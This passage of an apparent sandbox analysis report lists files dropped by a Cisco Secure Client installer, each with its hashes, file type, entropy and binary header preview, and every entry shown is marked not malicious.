Preview:	...... .... .....&......... .h.......(... ...@..... ..............................................................@...@...@...@...@...@...@...@...@...@...@...@...@...@...........................................................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................................................................P.....@...s...s...s...s...s...s...s...s...s...s...s...s...@.........P.................................................................@...s...s...s...s...s...s...s...s...s...s...s...s...@......................................................................X5...@...s...s...s...s...s...s...s...s...s...s...s...s...@..X5...........................................................xh.M'..M'...@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..M'...xh..............................................xh.M'..M'.......@...s...s...s...s...s...s...s...s...s...s...s...s...@..z]J.M'..M'...xh................................P........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\transition_3.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.4144936482461397
Encrypted:	false
SSDEEP:	48:xLEWi6fEolR+vy+f7I8QbmvTn+3vCpK+hxZBBBpkbGgo2uo:xLV7EolbUISLn+3UBZBBBpkbGg6o
MD5:	68A2EA89135A31CE9E3E598F981433E0
SHA1:	1E2DABDFE730EAFD9A21F09C0E8E7F84E159E115
SHA-256:	73A199B9058AE8665DE3AD7792A7EE5DF7ADD2A4F2D8EFF49D81F221E8AFF85E
SHA-512:	CBCF48A63EA4CDC853950D2240B216EC8037E5CF0DFA9DA590C9F3749D5090406CA00CFCC5F844A7024ADD80B113F49F2F7D7F3D739F813360DA47720418DAC2
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................P.........................@...@...@...@...@...@...@...@...@...@...@...@...@...@..................................... .....................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................................kY.X5..M'..M'..M'..M'..M'...@...s...s...s...s...s...s...s...s...s...s...s...s...@.........................0...........cB+.M'..M'..M'..X5..z]J.z]J.z]J.nP:..@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................0.........kY.M'..M'..X5....w..........................@...s...s...s...s...s...s...s...s...s...s...s...s...@.................0........nP:.M'..M'.......................................@...s...s...s...s...s...s...s...s...s...s...s...s...@......................nP:.M'..X5...........................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..................z]J.M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\umbrella_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11585
Entropy (8bit):	7.961332304899258
Encrypted:	false
SSDEEP:	192:uoknxnFWLkyZS1HwgrTfSTVQV1r+2HPOSm9HRNxe6S1ipOvyYh95kRwjtbul4Ljh:uo4xAoKoHuVuHPOSmdfxy1ipwN5bjtbB
MD5:	FAA694AA17D61EAC6803E15397AE2C15
SHA1:	D3FBA06AA2794D460DEF2997E84EC7CBE49A83AB
SHA-256:	9AC4F60BF1A10CD08529427AAA1C419F5C4C1412D23EE5764B9EDACC3558A980
SHA-512:	5B2586AC90E5366C236AE02181172842CFDC311495157477ACB388A50CA56B5FB1EE532B753323566937012A54027DC53DE803DB4178F6F85618ADA4B015308C
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx....UU..7bJ_..I&.:p..#.D.2...vOU...y......I.E0...LK ...T...E_.o.H^.......QG..Hy%v.=...;....wj..Ru.>g....}._R..U..s....^{.!.....F.!&..7~.ip....G.......n..$..-.PS..%..~.)..._i.%..A.....[.<.W.P..D.S.0]+...)U..A.>..F.V (Z.RS.s.i.tMy.'S\1;(.C..}...(Z.PS.s..+Pi.tY..B....;...H..h... R..w.]T\t.p."..N,.P.rDM..Q:..8...\|K..........._.G..d.Dk.D...'+.E.P.2.L.7..\..1\|..8~...&.0...L.a..1......s..'N.......;.O..L\|}.4E.uam.1..Q(Z.c.P5&qt...........n...p~.'O.&z........q~..A..b..,.P.2...\...QA...6.qM.'.(.)[.........z.X.B....C.l@."2..P.9....$&...n.@..Bv....#b..W..n..9&..E.....!._Q}...R..b....G.g........w\..8.W....Wz.;.~~....2W.$.....=..).U..TT Z..>.;....q.".hf.+.(Z.#C..B.%a...a.4Q?g.T..l.;GD{...0..u.......r...!`.P.Y.t..A..H......h.LT...B........v)`.BH.W.P.b".X!/.p.b..;... .....hm..6.O...VD...\.......PB..............M..!...tU9.u_/..'L.....]'.A.2$.j .j..{....7..i.kaBG.6...e@M..IY..x..+V.....@..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\umbrella_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2465
Entropy (8bit):	7.9078675566370515
Encrypted:	false
SSDEEP:	48:OSjMqJt67atsaB2Q95MFMQQYs/7uI2/D8:OSd+7OsTQTuQYszIb8
MD5:	161092451DAE50221183377F7CFB560E
SHA1:	2884EE1CAD503614512FAF274C3E0AC209F9201B
SHA-256:	8CB267EF7B475567CF0A347A4E99CC533102789A966B7285A7733FD8E4FBDE47
SHA-512:	0BD327894C7A1AFC5AF1B3CD1D678370C568DF1A06A32408B4A4A3047A846657EDC09A1A0E094565EF4004DF6FEE3FBF0A2885FE0279F4920CB91FBE1D897B14
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~....SIDATx..\.l.U...d..v..P(t[..DDJ....-..."...5....1T.Q"i..?.....jK..ZS....) ...6........s...e.3o...........s..{.r... ..2.(.o}\|..."...6l..]n....y..t".ID.D...l..ql;vt.y...u\g..:..+{......I5DT..5.t...!....8)K.:RS..!..-...S.0....e[..8Y...E)A......H...y.yL%.uU..S].>AV.'.\%QJ..&..)z...s.U\|.!...i..5....e. .?.S#.t....#..m...ol.D.7..CM..B.WM%\|.L...E.)..P..6...A.V.d. .?....T3oF.=...JJL.qI....C.{..v..W.}.PS..........#........n%=.`.]}.._H...S..l.eL.5.9..;...x.....!).....T...q.....<.VU...n..J....i....g.{.m2$.61.9.....I..&7k..\|.'m5s.).]...7....`n$.$C.....X!)....a......9..q...0......$..9.....A......!m...:.{.....T..LZ.....&\|.H...A.0..8.O....?".,..N.V..._6R...X`.w...gx.5U....I..OIV.J...z.i.H..k...\..U.. >}..A`yi...Ct.y..8..#@Q8.'&.KK.D0y...2..i..$....Q...."j.....[Fg..0....,(9o.".8]S.#.9"ZSY.....Dtu_..ZO...G.9f.".(.$M.t+...e9&...L..NDk....$......\|.l~..O`.....G...'.,`.D3....\.g.VEqQ."..C..,.9..M.y..~."..A.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\unpinned.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3638
Entropy (8bit):	7.889316799889741
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTH6gOjEda8+nWKHD:TSDS0tKg9E05THXOodrpKHD
MD5:	ADDC960D6A70987420055E0DEBCF4250
SHA1:	AF1D0C9386C1ADC774FC167F69B89637F414BED9
SHA-256:	B19F731C03166DB50BA5E0F0AD70A48E1223E7DD57B051A3DFB8CC23FBFAB482
SHA-512:	8F6D2CFA6BF8406CB2954029C0A43F3871C2C35E19CC0580925D4E847BFC6377749AB2A3FBF8CA030D55AEC3729AED6F54F7D7534A593A24927C8E274A811E1D
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\unpinned_button.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4370
Entropy (8bit):	7.900909498577029
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTcm/smdB4cT3NGDBWPryd:TSDS0tKg9E05Tcm/smAkMEPed
MD5:	CE71A3CEA2599D3A31ACAA9B55CA11E7
SHA1:	0592CF53E554F95BC722A21AF3CC9DF896BB6108
SHA-256:	0E0CF343355B77AA93DC0AFA9AFF96FF64EF5DFE73E9AAB57ECAA776BEC7EE7A
SHA-512:	D04AF6ED7247BCF61C969C1668A0F8F62CBA4A83E08CCFAE63755F56A4F6D49F9B1E39FABB10A3C04675828379658AE8FE414AC7682F7211C4A5F8949224E7EF
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\vpn_connected.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5558
Entropy (8bit):	4.450533821817726
Encrypted:	false
SSDEEP:	96:vcn7ngbW2IU8R9Lq+LhfSnuX31xEqxpkg:E74IU8R9LqMTFxz
MD5:	EAF0F00DA8BB1D384B8A5BB3B82D0A54
SHA1:	2E7021D20D962F4568A51757B2D9B7408624740E
SHA-256:	86D5102E01D6D29D5AEE6E87E827B8C624D7B552035C9AFDB0BE2B120E4A553F
SHA-512:	57358DEA1B8A75A8FEEE29F9D83931D65672B228B93CE6C9CFEEBA3C77FD9FDB8D7B7D4A1F3188D8CBC2FEBF8B427F574791E6210580499788FF101641C01854
Malicious:	false
Preview:	...... .... .(...&......... .h...N...(... ...@..... ........................................................................ ...`...................................................................................................................p.........................................................~...~...}...}...}....0........................................`................z]J.M'..'....hm.)...................................................................................................z]J.M'..M'..M'..M'..'...%x}.+...............................................................................................M'..M'..M'...kY..............x}.....!....................................................................................xh.M'..M'..z]J.....................8y}.4...#................................................................................xh.M'..M'..............................Az~.=...%......................................................................p........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\vpn_logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9736
Entropy (8bit):	7.95835565935799
Encrypted:	false
SSDEEP:	192:uGw9FbNic2CTLMZgb0OeuEqR0+zipNb19+MUs2b4uLbFv7MLlELHz5FijB:uZ95jOAdE+0+mpNB9dObfR4LiLHz5QjB
MD5:	64C1592AB32B98889AFDB7F216B3A535
SHA1:	9DA1BF63D0E9CCF65BA0C72E615099AD30DDB2EB
SHA-256:	B649B2B24F635758C6B424EBADA07097ABB56CE73E46F056268004D79575AA8F
SHA-512:	CA8376AEB64FE49CE253BEE7F949AEBFDB6C1EAD6270C739B09751CEEA313407F7AABBA7388E4ABFA53A48A322D827EF6D4FF1D458C3FB815239407646D53C84
Malicious:	false
Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx......}....j'.b.A...H.8B.p....IXM.Q....db..D...!.#aI..J.h..M"k?...k..t.......+!j...T7.N.y9.r........o..e......{.....?...B..\i...... ........T...u ~.h...J.4..%"..k.^...O.....".....v...+7...........M....J.z....E..(...0M+.S.R"._.2.Y..h...J.+J.+..@..-5....T.......E+.4WZG)q.H...k.]..\|C...,.P.O9.72{.......]y.....}J.:Dd;C.\|@..8J.....rEh.......c..\|?......A.D}....J.[...<E.C)y.....J.A.. i...&8.3y...t.x.9bx .6......W..&......zV^9......e..VFPA..$..b...4q.L...&..R.....7.....aK..A...........6%V....=A.f.2$Ve.ue={.8....#.....7..V.P..FE9..#> ..OuDj...ME..........+](Z).\i]...H#....>E....Npb..>+;....X.....z6...E+aT..L.U.."5..YtS...l[....'..u..qsV.k..h%DM..(l...u.5.e.YN.H.'&.C......Qbu.....EA.....l......!.Um......Q....n.b..l{t.<.+l..B{.W.P.".E..V,..._.@....... X.Y6F......}i..j.rUY.@'v \k7<.&.b....V..+....-Vn..g..X.d\.ak..K...U.@...ZToS...........,8np.....l..G.P.\|.r.MA.B)V..."....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\vpn_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2002
Entropy (8bit):	7.874049849617631
Encrypted:	false
SSDEEP:	48:aYtizXuhGfrlz7ES0+AXMzboB3CiWBgvnUeHAG:nkVFNA8Pq39/UegG
MD5:	513D5EA87AFF39BFAC791F6A1AEA44B6
SHA1:	1858020A95D380478119D11C567D686B3097CEC7
SHA-256:	E04B608228DB3AB98917F8B62BB3F64FFBC6E272FFD2B84B2CEB752838FE4485
SHA-512:	2F26AECB0AE3B423B79B4EFDF7CFF8535236E62102F0F4DB9C98A88243B3B1A6EE5CB30F6D049FC3F5E19ABBF22C5DF19805ACB2F7FD3BEB77D7D33AA351E5D5
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..{lSU...vK.nl%.6..... ...0.q#D.?d....C1!j..G.Q0.,A:b.q..5d...L%...H..I@.9..B.G..E.=.SN.n....n.&..]...........A1..Z\BD6"..G.?..AD.~....l?...G...Z.KD.DTAD%.{.V,a....(#=..{..a:........)/.H-Dt..l.f....l-.p(5.;.ge2 E.K.....ro?....9v.9.....r.m...8.-.....JW.....K............\..]OP..R...lz...J...\|P..uP.-...J3 ...Ui.......OxcK..@...L.Bl..8....{M.b...m.b.1....^.(...UG.M..2[..x..k.[K;.=G.SR5.....Fh{...\|..qo..8....PR._0[..&...SR....^..(M.d6.B .Lek...<j;}.r.s..k........q8M........z..5..MkV/..?]J......kw8.B.b..:...qW...U.g^..O.}.\|/$@.s..0].r..twR..o.7.....4.J.Gs-6.....C.@..Ho8.s..0u...{..r3.Ri.S.U.B....Vm...Y...9.K}.`..7U..y..I.....j................+..d.p].'.>.O..U.....<....F..X.....9.M..5w....e>@wO[.<C).r.\|.Z.....e.....t..>............E].N:xa...,)Y....T4.a.~.U..0.^U8.A..............\|Y.....@O...)?)..9.v^...W.#.2-M.:M.@..O.......l....T..L.....,..P.''...E...ZUX@-..P.V&eX.......M...<.c+.A....K...V.

C:\Program Files (x86)\Cisco\Cisco Secure Client\Uninstall.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1006184
Entropy (8bit):	5.97738342017222
Encrypted:	false
SSDEEP:	12288:9/9IZHQOBWLxPXdwWeKHI0+DPwYZC3Yeba96ga8nXNBZK/8id:9V2HQO6PqtPwJ3Yijg/dB0Ei
MD5:	744D2DC7CA442E065AC4F23C6A7B9E5F
SHA1:	0039BE9938086F925F321EC8B2FD4D008F600C1A
SHA-256:	4E9E9F15FFBFC9729F4BC561D8670214A86822D682F49A2B286BB798FD59B549
SHA-512:	918009B74EAF5CD932E7BFE1CBD65425917D8CFCDB32B6A10FF2DD44A894E06DA77544522B72F77880D1ADD9961DB0A3401CC20242976E241499F65899E76826
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._.j....X...X...X...Y...X...Y...X...Y...XI..Y...XI..Y...XI..YK..X...Y...X...X...X...Y...X...X...X...X...X...Y...XRich...X........................PE..L.....d.....................F......P.............@..........................`......>.....@.................................@........P..P...............hH.......Q...w..T...................@y......Hx..@............................................text............................... ..`.rdata...!......."..................@..@.data....)... ......................@....rsrc...P....P......................@..@.reloc...Q.......R..................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UpdateComponentManifest.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	451
Entropy (8bit):	3.838636988372643
Encrypted:	false
SSDEEP:	6:3FFU5eWNwSrzakk5CGvFF6cqEPtvFFEHxiulEk9bkNy4SQUa:1e5eU/aHHAcqE/uxiTKTM
MD5:	F31B286BC9DAC414CAE57B36020FDB4A
SHA1:	BD9D861EA0BC7DBDB9A1C9949ADFB7BDF3345C6B
SHA-256:	7778B7BB7E7F9D25D71747BAA3BEB76E39C0336EB9DA0D823D7C6297540E7975
SHA-512:	937B660BDD91A8467DB83F9B5B25046D0443EB2648671CE420F9A032123A479B249B9001D860BDA4FE3488065F0FF02AD01BA758CB11EE07710C7651FA072945
Malicious:	false
Preview:	{.. "downloader" : {.. "display-name" : "Cisco Secure Client - Downloader",.. "type" : "exe",.. "uri" : "binaries/vpndownloader.exe",.. "hash" : "7B6826DD31DB6E559BBF873DE756292B22B910F319C6C4B09D7A62A5312A4AC3",.. "hash-type" : "sha256",.. "version" : "5.0.05040".. }..}..

C:\Program Files (x86)\Cisco\Cisco Secure Client\VACon64.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	745576
Entropy (8bit):	6.225379685413281
Encrypted:	false
SSDEEP:	12288:Qx5TysIG9cavT2FWgBKkuD/wQoJ4GMJzu:cxIGKavT2FWz/wQffzu
MD5:	DB9F087F33F5375F0883F4E29F81074C
SHA1:	1D9715CDFA425F4F6FA14D80233B9ECE8F9AA89E
SHA-256:	5D27CE634581F9CEE12C17D9F4AD6AB1B7C6BCDBB911618E7416D2FB4F1981F0
SHA-512:	A740845C79909898881742BA552F8358EE35EA33077A41EA2F9BC4FA824923956AFB1AB3D7870FEE626110BB51FC347AC3D04A2D84747D99EA98B1F3E9FB98C0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\.h3.m.`.m.`.m.`...a.m.`...a.m.`...a.m.`J..a.m.`J..a.m.`J..aJm.`...a.m.`.m.`.m.`...a.m.`...`.m.`.m.`.m.`...a.m.`Rich.m.`........................PE..d......d.........."......V.......... ..........@..........................................`.....................................................x....0..P........8......hH...@...5......T.......................(......8............p...............................text....T.......V.................. ..`.rdata...%...p...&...Z..............@..@.data....2..........................@....pdata...8.......:..................@..@_RDATA....... ......................@..@.rsrc...P....0......................@..@.reloc...5...@...6..................@..B........................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\WebView2Loader.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	119912
Entropy (8bit):	6.60185962501979
Encrypted:	false
SSDEEP:	3072:pykiJ1Z1K95jvS8BBw/qZqocqQThEt9WSt6MlNNp:MkiHTMBBaNEtUS9lNz
MD5:	E418E6429D29325A842E8A5F01B57236
SHA1:	D075045BC923F0AD63907CDF47AF6FE7B40DB49C
SHA-256:	EAD03108A441D27DC347649DDA3F5BBD2144B5EC35B775944761F7BBFFC95CB2
SHA-512:	92969A8394DF09973DE2F5E8A528A41EC046B5C0CCA3292CD734DF900AF1EB85A3C8643273051D1E2B27B82EC992D61559A9BB06A4B49064FECCB64EB35D2876
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....'b.........."!................@>....................................................@A........................M_......?`..(.......................hH..........D\.......................Y......`................a..<....]..`....................text............................... ..`.rdata...n.......p..................@..@.data........p.......d..............@....00cfg...............n..............@..@.tls.................p..............@....voltbl.H............r...................rsrc................t..............@..@.reloc...............z..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\ac_sock_fltr_api.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	286824
Entropy (8bit):	6.617095335993768
Encrypted:	false
SSDEEP:	6144:tnTXBb1av9tRiTYNC2s2jSPah5WQXR+1XAOtMFK:Lcv9tRiUNLV+1XHf
MD5:	A46C978EB55D64043AAC769320503C12
SHA1:	60AD2BB287B1E6F768EA873B1390ACA13A853999
SHA-256:	19E4270B838CBC3054175427E9C5DA3BBACD92A0E69ECE036C490FC3F13302B1
SHA-512:	DFD94979A6AD9AF454C40324A42FD83CB0F14E2EEFEBF81810DEB5A4A24E0EA3B6466E0D28E32BBC0192D732B9D6B2429843E22F7E07F42D2EBE5835A3E47ACE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5I.Rq(..q(..q(..eC..\|(..eC...(..eC..g(..#]..~(..#]..e(..#]..&(..eC..p(..eC..\|(..q(...(...]..}(...]..p(...]u.p(..q(..p(...]..p(..Richq(..................PE..L...c..d...........!.........~...............................................`............@.........................P...........x.... ..................hH...0..,(..t...p..............................@............... ............................text............................... ..`.rdata..#.......$..................@..@.data...d'..........................@....rsrc........ ......................@..@.reloc..,(...0.....................@..B................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\acciscocrypto.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1865320
Entropy (8bit):	6.970258455602142
Encrypted:	false
SSDEEP:	49152:cN4UkzzVwcS5/h2m7tPpbO8in1CPwDv3uFbvYdkYuj:cNb/h26XbO8K1CPwDv3uFbv3
MD5:	401E2AAFE861E1BBCC04EEED82868DBF
SHA1:	D4ADD73521989319137E731485CE64DC370AAFE6
SHA-256:	09EF0662458A6B07BC5B063576981CACF74E7E7B3FD355FF6EF49395A8D95183
SHA-512:	891731F36B327E2B33AC31C39E869D8FE4CB4A7B289F3183857A0671C5DACA700552A5EAF29A07AC537330B57A0C45DC27DDE8AA5B7AC33C9F8A6F8E9B1EE968
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........],.<B..<B..<B..D..<B..IC..<B..IG..<B..IF..<B..IA..<B..WC..<B..<C.'<B..<B..<B..IF..>B..IB..<B..I...<B..I@..<B.Rich.<B.........................PE..L.....Od...........!......................................................................@A........................@^......XH..T.......................hH......\|....Y..T...........................`Y..@............................................text...8........................... ..`.rdata..bf.......h..................@..@.data....N...`.......H..............@....rsrc................^..............@..@.reloc..\|............d..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\acciscossl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449128
Entropy (8bit):	6.524987350757864
Encrypted:	false
SSDEEP:	12288:H42omt0CD5eYwFZ6depVyQ7YAf1ZMGnz8J4N4OTW8kd6ghNu99hO5nxjOE6ARsMp:LqN4//sHTTHx4KtsutnLlEa2
MD5:	5608F2FEEEC9519ABC4C45AD6156F224
SHA1:	55B1E59342A3F0011714E146A0FFDB52CDE267DD
SHA-256:	3DEC5D47533E9DCCAF3F851DE4D37E289407CB9064CD1F32ADD08D2ABFAB75D4
SHA-512:	FF605F0F7EC45BE82696D1FAB43D74C59991AFC692C61674CA7317DF1C9953EE25D65AC94910D856EB98E6D48C280D8298C54C09BA2346B9A1959E9071ECF717
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-..~..~..~..]~...~......~......~......~......~......~......~..~...~......~......~..1~..~......~Rich..~........................PE..L.....Od...........!................p.....................................................@A.............................;..l........p..................hH.......;......T...............................@...............X............................text.............................. ..`.rdata.............................@..@.data...l....P.......6..............@....rsrc........p.......P..............@..@.reloc...;.......<...V..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\accurl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347752
Entropy (8bit):	6.708372875308561
Encrypted:	false
SSDEEP:	6144:xS6/w5Vk2RM0ZdTNd5JYjV7JYwXhik4QNEN519X+Iw99Itmf:xS5Vk2RtZw5JYwXhpzyNttg
MD5:	84EB38D113F69752F45B9A1852536093
SHA1:	D24161590E4C7541D183A0871694DEFE92F81783
SHA-256:	276C98884E9945BC79AB4D84069CFE543752FBD064E88EE78DE0256F8B1DF374
SHA-512:	0B69B29809915DFC348AD36E528BE4DE5E251F30AA7E3FA1017F1F3A24FF315C4F5290423D15C62AA3E4F3AFA573362675177EC05E48B78FA2995C2D5F5BD310
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........L/D.-A..-A..-A..U...-A..E@..-A.+....-A..ED..-A..EE..-A..EB..-A..K@..-A..D@..-A..-@..,A..DE.(-A..DA..-A..D...-A..DC..-A.Rich.-A.................PE..L...-m.b...........!.........*...............................................@............@................................T...@.......................hH.......3..P...T...............................@...............d............................text...U........................... ..`.rdata..D...........................@..@.data...\...........................@....rsrc...............................@..@.reloc...3.......4..................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\acextwebhelper.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	491624
Entropy (8bit):	6.495709095629098
Encrypted:	false
SSDEEP:	6144:8UBgEIe9ncUGQljr+1x87dfK8k9rqXsPNcJESSFCejFp:rFyUIP8Hk9rpcJEmev
MD5:	CE72AE5437229CC4EAB1FCE6C2B10555
SHA1:	46177D24E1CC592FB31F3B9A88F7A4CCF5B4D742
SHA-256:	24C42AD6CC70A169AFE6232E87E94BB4DC7ADC64A1C58A2A7565D28171E1AED0
SHA-512:	282751765E46AC037E13E4FA0DFC34ECF8D5FD08B7358775E55F44D91B4267A38B3345095C180DDDCCBADFD6645D05744F1E3109BAF84678125A51D6DE6A1955
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
